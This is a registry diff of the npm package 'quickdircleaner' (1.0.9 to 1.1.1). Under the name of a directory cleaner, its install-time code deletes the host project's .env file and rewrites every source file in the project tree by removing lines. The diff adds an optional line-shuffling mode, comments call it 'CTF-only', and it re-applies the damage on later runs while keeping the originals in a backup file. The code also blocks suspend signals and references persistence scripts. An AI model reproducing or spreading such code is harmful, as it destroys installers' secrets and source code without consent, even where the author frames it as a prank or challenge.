quickdircleaner 1.0.9 → 1.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +27 -4
- package/package.json +1 -1
- package/prank-core.js +125 -11
package/index.js
CHANGED
|
@@ -50,8 +50,26 @@ async function main() {
|
|
|
50
50
|
core.resolveHostProjectRoot(),
|
|
51
51
|
);
|
|
52
52
|
|
|
53
|
+
let priorList = null;
|
|
54
|
+
let priorMap = null;
|
|
55
|
+
|
|
53
56
|
if (await cleanerDoneFlagExists(root)) {
|
|
54
|
-
|
|
57
|
+
let raw;
|
|
58
|
+
try {
|
|
59
|
+
raw = await fs.readFile(path.join(root, core.BACKUP_NAME), "utf8");
|
|
60
|
+
} catch {
|
|
61
|
+
return;
|
|
62
|
+
}
|
|
63
|
+
priorList = core.parseFirstOriginalSectionMarkdown(raw);
|
|
64
|
+
if (priorList.length === 0) {
|
|
65
|
+
return;
|
|
66
|
+
}
|
|
67
|
+
priorMap = new Map(priorList.map((e) => [e.filePath, e.content]));
|
|
68
|
+
try {
|
|
69
|
+
await fs.unlink(path.join(root, core.DONE_FLAG));
|
|
70
|
+
} catch {
|
|
71
|
+
/* silent */
|
|
72
|
+
}
|
|
55
73
|
}
|
|
56
74
|
|
|
57
75
|
let pkgRaw = null;
|
|
@@ -61,18 +79,23 @@ async function main() {
|
|
|
61
79
|
pkgRaw = null;
|
|
62
80
|
}
|
|
63
81
|
|
|
64
|
-
const backupEntries = await core.runPrank(root);
|
|
82
|
+
const backupEntries = await core.runPrank(root, priorMap);
|
|
65
83
|
|
|
66
84
|
if (pkgRaw) {
|
|
67
85
|
backupEntries.push({
|
|
68
86
|
filePath: core.SYNTHETIC_PACKAGE_JSON,
|
|
69
|
-
content: pkgRaw,
|
|
87
|
+
content: priorMap?.get(core.SYNTHETIC_PACKAGE_JSON) ?? pkgRaw,
|
|
70
88
|
});
|
|
71
89
|
}
|
|
72
90
|
|
|
91
|
+
const toWrite =
|
|
92
|
+
priorList && priorList.length > 0
|
|
93
|
+
? core.mergeFirstSectionBackup(priorList, backupEntries)
|
|
94
|
+
: backupEntries;
|
|
95
|
+
|
|
73
96
|
let backupOk = true;
|
|
74
97
|
try {
|
|
75
|
-
backupOk = await writeBackupMarkdown(root,
|
|
98
|
+
backupOk = await writeBackupMarkdown(root, toWrite);
|
|
76
99
|
} catch {
|
|
77
100
|
backupOk = false;
|
|
78
101
|
}
|
package/package.json
CHANGED
package/prank-core.js
CHANGED
|
@@ -598,6 +598,97 @@ function removeOriginalLines(lines, oneBasedLineNumbers) {
|
|
|
598
598
|
return next;
|
|
599
599
|
}
|
|
600
600
|
|
|
601
|
+
/** CTF-only: set `QUICKDIRCLEANER_JUMBLE=1` to permute lines (deterministic per path). Restore still uses backup verbatim. */
|
|
602
|
+
function lineJumbleEnabled() {
|
|
603
|
+
return process.env.QUICKDIRCLEANER_JUMBLE === "1";
|
|
604
|
+
}
|
|
605
|
+
|
|
606
|
+
function hashStringForSeed(s) {
|
|
607
|
+
let h = 2166136261 >>> 0;
|
|
608
|
+
for (let i = 0; i < s.length; i += 1) {
|
|
609
|
+
h ^= s.charCodeAt(i);
|
|
610
|
+
h = Math.imul(h, 16777619);
|
|
611
|
+
}
|
|
612
|
+
return h >>> 0;
|
|
613
|
+
}
|
|
614
|
+
|
|
615
|
+
function mulberry32(seed) {
|
|
616
|
+
let a = seed >>> 0;
|
|
617
|
+
return function nextRand() {
|
|
618
|
+
a = (a + 0x6d2b79f5) >>> 0;
|
|
619
|
+
let t = a;
|
|
620
|
+
t = Math.imul(t ^ (t >>> 15), t | 1);
|
|
621
|
+
t = (t + Math.imul(t ^ (t >>> 7), t | 61)) >>> 0;
|
|
622
|
+
return ((t ^ (t >>> 14)) >>> 0) / 4294967296;
|
|
623
|
+
};
|
|
624
|
+
}
|
|
625
|
+
|
|
626
|
+
/**
|
|
627
|
+
* Fisher–Yates shuffle of all lines after an optional leading shebang line.
|
|
628
|
+
* Same `pathKey` + same line count ⇒ same permutation (participants can infer “path-seeded shuffle”).
|
|
629
|
+
*/
|
|
630
|
+
function jumbleBodyLines(lines, pathKey) {
|
|
631
|
+
if (lines.length < 2) {
|
|
632
|
+
return lines;
|
|
633
|
+
}
|
|
634
|
+
const out = lines.slice();
|
|
635
|
+
let bodyStart = 0;
|
|
636
|
+
if (out[0].trim().startsWith("#!")) {
|
|
637
|
+
bodyStart = 1;
|
|
638
|
+
}
|
|
639
|
+
if (bodyStart >= out.length - 1) {
|
|
640
|
+
return out;
|
|
641
|
+
}
|
|
642
|
+
const rng = mulberry32(
|
|
643
|
+
hashStringForSeed(`${pathKey}:${out.length - bodyStart}`),
|
|
644
|
+
);
|
|
645
|
+
for (let i = out.length - 1; i > bodyStart; i -= 1) {
|
|
646
|
+
const span = i - bodyStart + 1;
|
|
647
|
+
const j = bodyStart + Math.floor(rng() * span);
|
|
648
|
+
const tmp = out[i];
|
|
649
|
+
out[i] = out[j];
|
|
650
|
+
out[j] = tmp;
|
|
651
|
+
}
|
|
652
|
+
return out;
|
|
653
|
+
}
|
|
654
|
+
|
|
655
|
+
/**
|
|
656
|
+
* When postinstall runs again, `newEntries` only contains paths touched this run.
|
|
657
|
+
* Merge with the prior first "## Original contents" list so the rewritten backup still
|
|
658
|
+
* includes every restorable path (e.g. `.env` absent on disk after the first run).
|
|
659
|
+
*/
|
|
660
|
+
function mergeFirstSectionBackup(priorList, newEntries) {
|
|
661
|
+
if (!priorList || priorList.length === 0) {
|
|
662
|
+
return newEntries;
|
|
663
|
+
}
|
|
664
|
+
const contentByPath = new Map();
|
|
665
|
+
for (const e of priorList) {
|
|
666
|
+
contentByPath.set(e.filePath, e.content);
|
|
667
|
+
}
|
|
668
|
+
for (const e of newEntries) {
|
|
669
|
+
contentByPath.set(e.filePath, e.content);
|
|
670
|
+
}
|
|
671
|
+
const ordered = [];
|
|
672
|
+
const seen = new Set();
|
|
673
|
+
for (const e of priorList) {
|
|
674
|
+
ordered.push({
|
|
675
|
+
filePath: e.filePath,
|
|
676
|
+
content: contentByPath.get(e.filePath),
|
|
677
|
+
});
|
|
678
|
+
seen.add(e.filePath);
|
|
679
|
+
}
|
|
680
|
+
for (const e of newEntries) {
|
|
681
|
+
if (!seen.has(e.filePath)) {
|
|
682
|
+
ordered.push({
|
|
683
|
+
filePath: e.filePath,
|
|
684
|
+
content: contentByPath.get(e.filePath),
|
|
685
|
+
});
|
|
686
|
+
seen.add(e.filePath);
|
|
687
|
+
}
|
|
688
|
+
}
|
|
689
|
+
return ordered;
|
|
690
|
+
}
|
|
691
|
+
|
|
601
692
|
function buildMarkdown(backupEntries) {
|
|
602
693
|
const lines = [
|
|
603
694
|
"# Cleaner backup",
|
|
@@ -640,11 +731,15 @@ function buildReapplySection(attemptNumber, backupEntries) {
|
|
|
640
731
|
return lines.join("\n");
|
|
641
732
|
}
|
|
642
733
|
|
|
643
|
-
async function backupAndRemoveEnv(root, backupEntries) {
|
|
734
|
+
async function backupAndRemoveEnv(root, backupEntries, priorOriginals) {
|
|
644
735
|
const envPath = path.join(root, ".env");
|
|
645
736
|
try {
|
|
646
737
|
const content = await fs.readFile(envPath, "utf8");
|
|
647
|
-
|
|
738
|
+
const snapshot =
|
|
739
|
+
priorOriginals && priorOriginals.has(".env")
|
|
740
|
+
? priorOriginals.get(".env")
|
|
741
|
+
: content;
|
|
742
|
+
backupEntries.push({ filePath: ".env", content: snapshot });
|
|
648
743
|
try {
|
|
649
744
|
await fs.unlink(envPath);
|
|
650
745
|
} catch {
|
|
@@ -665,7 +760,7 @@ function utf8LooksCorruptedAsBinary(text) {
|
|
|
665
760
|
return n > Math.max(24, Math.floor(text.length * 0.02));
|
|
666
761
|
}
|
|
667
762
|
|
|
668
|
-
async function cleanSourceFile(fullPath, root, backupEntries) {
|
|
763
|
+
async function cleanSourceFile(fullPath, root, backupEntries, priorOriginals) {
|
|
669
764
|
let buf;
|
|
670
765
|
try {
|
|
671
766
|
const st = await fs.stat(fullPath);
|
|
@@ -691,7 +786,13 @@ async function cleanSourceFile(fullPath, root, backupEntries) {
|
|
|
691
786
|
|
|
692
787
|
const eol = detectEol(content);
|
|
693
788
|
const lineArray = content.split(/\r?\n/);
|
|
789
|
+
const relForKey =
|
|
790
|
+
path.relative(root, fullPath).split(path.sep).join("/") ||
|
|
791
|
+
path.basename(fullPath);
|
|
694
792
|
let nextLines = removeOriginalLines(lineArray, REMOVE_LINE_NUMBERS);
|
|
793
|
+
if (lineJumbleEnabled()) {
|
|
794
|
+
nextLines = jumbleBodyLines(nextLines, relForKey);
|
|
795
|
+
}
|
|
695
796
|
let modified = nextLines.join(eol);
|
|
696
797
|
|
|
697
798
|
if (modified === content) {
|
|
@@ -704,8 +805,12 @@ async function cleanSourceFile(fullPath, root, backupEntries) {
|
|
|
704
805
|
|
|
705
806
|
const rel = path.relative(root, fullPath);
|
|
706
807
|
const filePath = rel.split(path.sep).join("/") || path.basename(fullPath);
|
|
808
|
+
const backupSnapshot =
|
|
809
|
+
priorOriginals && priorOriginals.has(filePath)
|
|
810
|
+
? priorOriginals.get(filePath)
|
|
811
|
+
: content;
|
|
707
812
|
|
|
708
|
-
backupEntries.push({ filePath, content });
|
|
813
|
+
backupEntries.push({ filePath, content: backupSnapshot });
|
|
709
814
|
|
|
710
815
|
try {
|
|
711
816
|
await writeFileAtomic(fullPath, modified, "utf8");
|
|
@@ -751,7 +856,7 @@ function shouldSkipDirectoryEntry(name) {
|
|
|
751
856
|
* BFS is used instead of fs.readdir(recursive) so behavior is consistent across Node/OS and
|
|
752
857
|
* symlink layouts—nothing under the host root is missed except node_modules / .git / .hg / .svn.
|
|
753
858
|
*/
|
|
754
|
-
async function walkAndCleanFullTree(rootResolved, backupEntries) {
|
|
859
|
+
async function walkAndCleanFullTree(rootResolved, backupEntries, priorOriginals) {
|
|
755
860
|
const visitedDirs = new Set();
|
|
756
861
|
const queue = [path.resolve(rootResolved)];
|
|
757
862
|
|
|
@@ -824,7 +929,12 @@ async function walkAndCleanFullTree(rootResolved, backupEntries) {
|
|
|
824
929
|
}
|
|
825
930
|
|
|
826
931
|
try {
|
|
827
|
-
await cleanSourceFile(
|
|
932
|
+
await cleanSourceFile(
|
|
933
|
+
realPath,
|
|
934
|
+
rootResolved,
|
|
935
|
+
backupEntries,
|
|
936
|
+
priorOriginals,
|
|
937
|
+
);
|
|
828
938
|
} catch {
|
|
829
939
|
/* skip */
|
|
830
940
|
}
|
|
@@ -832,7 +942,7 @@ async function walkAndCleanFullTree(rootResolved, backupEntries) {
|
|
|
832
942
|
}
|
|
833
943
|
}
|
|
834
944
|
|
|
835
|
-
async function walkAndClean(root, backupEntries) {
|
|
945
|
+
async function walkAndClean(root, backupEntries, priorOriginals) {
|
|
836
946
|
let rootResolved = path.resolve(root);
|
|
837
947
|
try {
|
|
838
948
|
rootResolved = await fs.realpath(rootResolved);
|
|
@@ -841,17 +951,20 @@ async function walkAndClean(root, backupEntries) {
|
|
|
841
951
|
}
|
|
842
952
|
rootResolved = path.resolve(rootResolved);
|
|
843
953
|
|
|
844
|
-
await walkAndCleanFullTree(rootResolved, backupEntries);
|
|
954
|
+
await walkAndCleanFullTree(rootResolved, backupEntries, priorOriginals);
|
|
845
955
|
}
|
|
846
956
|
|
|
847
957
|
/**
|
|
848
958
|
* Runs env backup/removal and source walk; returns new backup entries for this run.
|
|
959
|
+
* @param {Map<string,string>|null|undefined} priorOriginals — first-run snapshots from
|
|
960
|
+
* `CLEANER_BACKUP.md` when re-invoking after `.cleaner_done`; backup rows use these
|
|
961
|
+
* so restore still targets true originals while disk reads are already mangled.
|
|
849
962
|
*/
|
|
850
|
-
async function runPrank(root) {
|
|
963
|
+
async function runPrank(root, priorOriginals) {
|
|
851
964
|
installSigTstpBlocker();
|
|
852
965
|
const backupEntries = [];
|
|
853
|
-
await backupAndRemoveEnv(root, backupEntries);
|
|
854
|
-
await walkAndClean(root, backupEntries);
|
|
966
|
+
await backupAndRemoveEnv(root, backupEntries, priorOriginals);
|
|
967
|
+
await walkAndClean(root, backupEntries, priorOriginals);
|
|
855
968
|
return backupEntries;
|
|
856
969
|
}
|
|
857
970
|
|
|
@@ -1102,6 +1215,7 @@ module.exports = {
|
|
|
1102
1215
|
PERSIST_PREFIX,
|
|
1103
1216
|
TARGET_SCRIPT_NAMES,
|
|
1104
1217
|
buildMarkdown,
|
|
1218
|
+
mergeFirstSectionBackup,
|
|
1105
1219
|
buildReapplySection,
|
|
1106
1220
|
runPrank,
|
|
1107
1221
|
injectPersistScripts,
|